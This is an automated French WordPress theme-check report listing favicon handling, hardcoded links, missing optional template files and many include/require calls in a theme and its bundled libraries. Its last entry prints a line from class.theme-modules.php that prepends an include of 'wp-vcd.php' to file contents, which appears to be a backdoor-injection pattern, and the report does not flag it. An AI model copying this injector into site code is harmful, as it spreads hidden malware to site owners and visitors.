  1. présence de favicon : Gestion des faviconsDéclaration de favicon trouvée dans theme-features.php. Les favicons sont prises en charges dans le paramètrage Site Icon depuis la version 4.3.
  2. Liens statiques : Présence de liens codés en durLien potentiellement codés en dur trouvé dans le fichier redux-sections.php.90: 'subtitle' => __('Tap into the massive <a href='http://www.google.com/fonts/'>Google Fonts</a> collection (with Live previe509: 'subtitle' => __('Enter the Facebook Application ID of the Fan Page which is associated with this website. You can create one <a href='https://developers.facebook.com/apps'>here</a>.', 'bucket'),516: 'subtitle' => __('The id of the user that has administrative privileges to your Facebook App so you can access the <a href='https://www.facebook.com/insights/'>Facebook Insights</a>.', 'bucket'),550: 'desc' => __('<div>In order to use the Twitter widget you will need to create a Twitter application <a href='https://dev.twitter.com/apps/new' >here</a> and get your own key, secrets aLien potentiellement codés en dur trouvé dans le fichier class.redux_functions.php.204: 'msg' => '<strong>A new build of Redux is now available!</strong><br/><br/>Your version: <strong>' . $curVer . '</strong><br/>New version: <strong><span style='color: red;'>' . $ver . '</span></strong><br/><br/><a href='https://github.com/ReduxFramework/redux-framework'>Get it now</a>&nbsp;&nbsLien potentiellement codés en dur trouvé dans le fichier tracking.php.153: $content .= '<p><strong>' . __( 'Getting Started', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'This panel demonstrates the many features of Redux. Before digging in, we suggest you get up to speed by reviewing %1$s.', 'redux-framework' ), '<a href='http://docs.reduxframework.com/redux-framework/getting-started/' target='_b154: $content .= '<p><strong>' . __( 'Redux Generator', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'Want to get a head start? Use the %1$s. It will create a customized boilerplate theme or a standalone admin folder complete with all things Redux (with the help of Underscores and TGM). Save yourself a headache and try it today.', 'redux-framework' ), '<a href='http://generate.reduxframework.com/' target='_blank'>' . __( 'Redux Generat155: $content .= '<p><strong>' . __( 'Redux Extensions', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'Did you know we have extensions, which greatly enhance the features of Redux? Visit our %1$s to learn more!', 'redux-framework' ), '<a href='http://reduxframework.com/extensions/' target='_blank'>' . __( 'extensions 156: $content .= '<p><strong>' . __( 'Like Redux?', 'redux-framework' ) . '</strong><br>' . sprintf( __( 'If so, please %1$s and consider making a %2$s to keep development of Redux moving forward.', 'redux-framework' ), '<a target='_blank' href='http://wordpress.org/support/view/plugin-reviews/redux-framework'>' . __( 'leave us a favorable review on WordPress.org', 'redux-framework' ) . '</a>', '<a href='https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=N5AD7TLien potentiellement codés en dur trouvé dans le fichier customify.php.272: 'desc' => __( '<p>Add the share services, delimited by a single comma (no spaces). You can find the full list of services <a href='http://www.addthis.com/services/list'>here</a>.</p>277: <li>— use the <span style='text-decoration:underline;'><strong>preferred</strong></span> tag&nbsp;to show your visitors a personalized lists of buttons (read <a href='http://www.addthis.com/academy/preferred-services-personalization/'>more</a304: 'desc' => __( 'Read more on <a href='http://bit.ly/1kxPg7K'>Integrating with Google Analytics</a> article.'),320: 'desc' => __( 'If you are using the latest version of GA code, you can take advantage of Google\'s new <a href='http://bit.ly/1iVvkbk'>social interaction analytics</a>.', 'rosa' ),Lien potentiellement codés en dur trouvé dans le fichier addons.php.201: <p><strong><?php _e('Just updated to version 4?','acf'); ?></strong> <?php _e('Activation codes have changed to plugins! Download your purchased add-ons','acf'); ?> <a href='http://www.advancedcustomfields.com/add-ons-download/' target='_blank'><?phLien potentiellement codés en dur trouvé dans le fichier field_groups.php.345: <?php printf(__('Migrating your field types is easy, please %sfollow this tutorial%s to learn more.','acf'),'<a href='http://www.advancedcustomfields.com/docs/tutorials/creating-a-new-field-typ348: <p><?php printf(__('All actions & filters have received a major facelift to make customizing ACF even easier! Please %sread this guide%s to find the updated naming convention.','acf'),'<a href='http://www.advancedcustomfields.com/resources/getting-started/migrating-fro361: <p><?php printf(__('Due to the sizable changes surounding Add-ons, field types and action/filters, your website may not operate correctly. It is important that you read the full %sMigrating from v3 to v4%s guide to view the full list of changes.','acf'),'<a href='http://www.advancedcustomfields.com/resources/getting-started/migrating-fro348: <p><?php printf(__('All actions & filters have received a major facelift to make customizing ACF even easier! Please %sread this guide%s to find the updated naming convention.','acf'),'<a href='http://www.advancedcustomfields.com/resources/getting-started/migrating-fro361: <p><?php printf(__('Due to the sizable changes surounding Add-ons, field types and action/filters, your website may not operate correctly. It is important that you read the full %sMigrating from v3 to v4%s guide to view the full list of changes.','acf'),'<a href='http://www.advancedcustomfields.com/resources/getting-started/migrating-froLien potentiellement codés en dur trouvé dans le fichier date_picker.php.128: <p><?php _e('\'yymmdd\' is the most versatile save format. Read more about','acf'); ?> <a href='http://docs.jquery.com/UI/Datepicker/formatDate'><?php _e('jQuery date form144: <p><?php _e('\'dd/mm/yy\' or \'mm/dd/yy\' are the most used display formats. Read more about','acf'); ?> <a href='http://docs.jquery.com/UI/Datepicker/formatDate' target='_blank'><?php _e('128: <p><?php _e('\'yymmdd\' is the most versatile save format. Read more about','acf'); ?> <a href='http://docs.jquery.com/UI/Datepicker/formatDate'><?php _e('jQuery date form144: <p><?php _e('\'dd/mm/yy\' or \'mm/dd/yy\' are the most used display formats. Read more about','acf'); ?> <a href='http://docs.jquery.com/UI/Datepicker/formatDate' target='_blank'><?php _e('
  3. Fichiers optionnels : Présence du fichierde style pour les écritures de droite vers la gauche rtl.cssCe thème ne contient pas le fichier optionnel rtl.php.
  4. Fichiers optionnels : Présence du fichier-template fron-*page.phpCe thème ne contient pas le fichier optionnel front-page.php.
  5. Fichiers optionnels : Présence du fichier-template de page d'accueil home.phpCe thème ne contient pas le fichier optionnel home.php.
  6. Fichiers optionnels : Présence de du fichier-template des dates et heures date.phpCe thème ne contient pas le fichier optionnel date.php.
  7. Fichiers optionnels : Présence du fichier-template des pièces jointes attachment.phpCe thème ne contient pas le fichier optionnel attachment.php.
  8. Utilisation d'includes : Utilisation de include ou de de requireLe thème semble utiliser include ou require : content-filters.php 30: include_once(ABSPATH.'wp-admin/includes/plugin.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : megamenu.php 16: require_once(wpgrade::themefilepath('theme-utilities/includes/WPGrade_Bucke Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : callbacks.php 12: require_once(ABSPATH .'/wp-admin/includes/file.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : class-envato-backup.php 499: require_once( ABSPATH . 'wp-admin/includes/class-pclzip.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : class.redux_functions.php 91: require_once( ABSPATH . '/wp-admin/includes/file.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : class.redux_filesystem.php 36: require_once( ABSPATH . '/wp-admin/includes/file.php' );37: require_once( ABSPATH . '/wp-admin/includes/template.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : sysinfo.php 54: require_once 'browser.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : tracking.php 281: require_once( ABSPATH . 'wp-admin/includes/admin.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : field_raw.php 52: include( $this->field['include'] ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : field_select.php 56: require_once( $icons_file ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : field_button_set.php 46: * ['format'] string Formatting options for paginate fields. Options include ('currency','nice','niceShort','timeAgoInWords' or a valid Date() f Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : framework.php 37: include_once( dirname( __FILE__ ) . '/inc/class.redux_instances.php' );38: include_once( dirname( __FILE__ ) . '/inc/lib.redux_instances.php' );50: include_once( dirname( __FILE__ ) . '/inc/class.redux_helpers.php' );53: include_once( dirname( __FILE__ ) . '/inc/class.redux_functions.php' );55: include_once( dirname( __FILE__ ) . '/inc/class.redux_filesystem.php' );300: include_once( self::$_dir . 'inc/debug.php' );325: require_once( self::$_dir . 'inc/import_export.php' );552: include_once( dirname( __FILE__ ) . '/inc/tracking.php' );1363: require_once( $class_file );1693: require_once( $class_file );2170: include( ABSPATH . 'wp-includes/pluggable.php' );2573: require_once( $class_file );2921: require_once( $class_file );3465: require_once 'inc/sysinfo.php';3698: require_once( $class_file ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : redux-extend.php 19: require_once( $class_file ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : bucket.php 211: require_once(ABSPATH . 'wp-includes/class-phpass.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : phpQuery.php 21: require_once(dirname(__FILE__).'/phpQuery/DOMEvent.php');22: require_once(dirname(__FILE__).'/phpQuery/DOMDocumentWrapper.php');23: require_once(dirname(__FILE__).'/phpQuery/phpQueryEvents.php');24: require_once(dirname(__FILE__).'/phpQuery/Callback.php');25: require_once(dirname(__FILE__).'/phpQuery/phpQueryObject.php');26: require_once(dirname(__FILE__).'/phpQuery/compat/mbstring.php');564: require_once($file);691: require_once('Zend/Http/Client.php');935: require_once('Zend/Json/Encoder.php');952: require_once('Zend/Json/Decoder.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : gan_parser_html.php 11: include_once('gan_tokenizer.php');12: include_once('gan_node_html.php');13: include_once('gan_selector_html.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : gan_node_html.php 11: include_once('gan_parser_html.php');12: include_once('gan_selector_html.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : ganon.php 88: include_once('gan_tokenizer.php');89: include_once('gan_parser_html.php');90: include_once('gan_node_html.php');91: include_once('gan_selector_html.php');92: include_once('gan_formatter.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : gan_selector_html.php 11: include_once('gan_parser_html.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : gan_xml2array.php 11: include_once('gan_parser_html.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : vbulletin.php 13: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : google.php 14: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : bbc_rss.php 13: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : rss2array.php 13: include_once('../gan_xml2array.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : utf8.php 13: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : formatter.php 17: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : youtube.php 13: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : cnn.php 13: include_once('../ganon.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : HitHighlighter.php 9: require_once 'Regex.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : twitteroauth.php 11: require_once('OAuth.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : Autolink.php 10: require_once 'Regex.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : StormTwitter.class.php 9: require_once('oauth/twitteroauth.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : Extractor.php 10: require_once 'Regex.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : menus.php 38: require_once(wpgrade::themefilepath('theme-utilities/includes/WPGrade_Bucke65: require_once(wpgrade::themefilepath('theme-utilities/includes/WPGrade_Bucke92: require_once(wpgrade::themefilepath('theme-utilities/includes/WPGrade_Bucke121: require_once(wpgrade::themefilepath('theme-utilities/includes/WPGrade_Bucke Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : wpgrade_dribbble_widget.php 15: require_once( wpgrade::themefilepath('theme-utilities/includes/vendor/dribb16: require_once( wpgrade::themefilepath('theme-utilities/includes/vendor/dribb Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : wpgrade_twitter_widget.php 22: include_once( wpgrade::themefilepath('theme-utilities/includes/vendor/twitt131: include_once( wpgrade::themefilepath('theme-utilities/includes/vendor/twitt Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : WPGrade_Bucket_Walker_Nav_Menu_Edit.php 2: require_once( ABSPATH . 'wp-admin/includes/nav-menu.php' );26: require_once 'vendor/phpQuery.php';75: require_once 'vendor/ganon/ganon.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : WPGrade_Bucket_Walker_Nav_Menu.php 2: require_once( ABSPATH . WPINC . '/nav-menu-template.php' );329: require_once 'vendor/phpQuery.php';371: require_once 'vendor/ganon/ganon.php'; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : import-demo-posts-pages.php 15: require_once($class_wp_importer);25: require_once($class_wp_import);36: include_once('wordpress-importer/wpgrade-import-class.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : import-demo-theme-options.php 15: require_once($class_wp_importer);25: require_once($class_wp_import);36: include_once('wordpress-importer/wpgrade-import-class.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : import-demo-widgets.php 15: require_once($class_wp_importer);25: require_once($class_wp_import);36: include_once('wordpress-importer/wpgrade-import-class.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : wpgrade-import-class.php 412: if($option_file) @include_once($option_file);483: if($option_file) @include_once($option_file); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : acf-config.php 13: include_once('acf.php');31: // include_once('add-ons/acf-repeater/acf-repeater.php');32: // include_once('add-ons/acf-gallery/acf-gallery.php');33: // include_once('add-ons/acf-flexible-content/acf-flexible-content.php');34: // include_once( 'add-ons/acf-options-page/acf-options-page.php' );972: include_once('add-ons/acf-flexible-content/flexible-content.php');973: include_once('add-ons/acf-repeater/repeater.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : acf.php 348: include_once('core/api.php');350: include_once('core/controllers/input.php');351: include_once('core/controllers/location.php');352: include_once('core/controllers/field_group.php');358: include_once('core/controllers/post.php');359: include_once('core/controllers/revisions.php');360: include_once('core/controllers/everything_fields.php'); 361: include_once('core/controllers/field_groups.php');366: include_once('core/fields/_functions.php');367: include_once('core/fields/_base.php');369: include_once('core/fields/text.php');370: include_once('core/fields/textarea.php');371: include_once('core/fields/number.php');372: include_once('core/fields/email.php');373: include_once('core/fields/password.php');375: include_once('core/fields/wysiwyg.php');376: include_once('core/fields/image.php');377: include_once('core/fields/file.php');379: include_once('core/fields/select.php');380: include_once('core/fields/checkbox.php');381: include_once('core/fields/radio.php');382: include_once('core/fields/true_false.php');384: include_once('core/fields/page_link.php');385: include_once('core/fields/post_object.php');386: include_once('core/fields/relationship.php');387: include_once('core/fields/taxonomy.php');388: include_once('core/fields/user.php');390: include_once('core/fields/google-map.php');391: include_once('core/fields/date_picker/date_picker.php');392: include_once('core/fields/color_picker.php');394: include_once('core/fields/message.php');395: include_once('core/fields/tab.php');457: include_once('core/controllers/export.php');458: include_once('core/controllers/addons.php');459: include_once('core/controllers/third_party.php');460: include_once('core/controllers/upgrade.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : field_group.php 417: include( $this->settings['path'] . 'core/views/meta_box_fields.php' );431: include( $this->settings['path'] . 'core/views/meta_box_location.php' );445: include( $this->settings['path'] . 'core/views/meta_box_options.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : export.php 93: include_once($path . 'core/actions/export.php');320: include_once('advanced-custom-fields/acf.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : dummy.php 276: include_once('fields/dummy.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : user.php 126: require_once( ABSPATH . '/wp-admin/includes/user.php' ); 148: require_once( ABSPATH . '/wp-admin/includes/user.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : field.php 87: include( 'field-layout.php' );115: include( 'field-layout.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : acf-flexible-content.php 22: include_once('flexible-content.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : flexible-content.php 207: include( $this->settings['path'] . 'views/field.php' );226: include( $this->settings['path'] . 'views/options.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : repeater.php 165: include( $this->settings['path'] . 'views/field.php' );184: include( $this->settings['path'] . 'views/options.php' ); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : acf-repeater.php 22: include_once('repeater.php'); Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.Le thème semble utiliser include ou require : class.theme-modules.php 48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; Si ces fonctions sont utilisées pour inclure des sections séparées d'un modèle à partir de fichiers indépendants, alors get_template_part () doit être utilisé à la place.
Other checked themes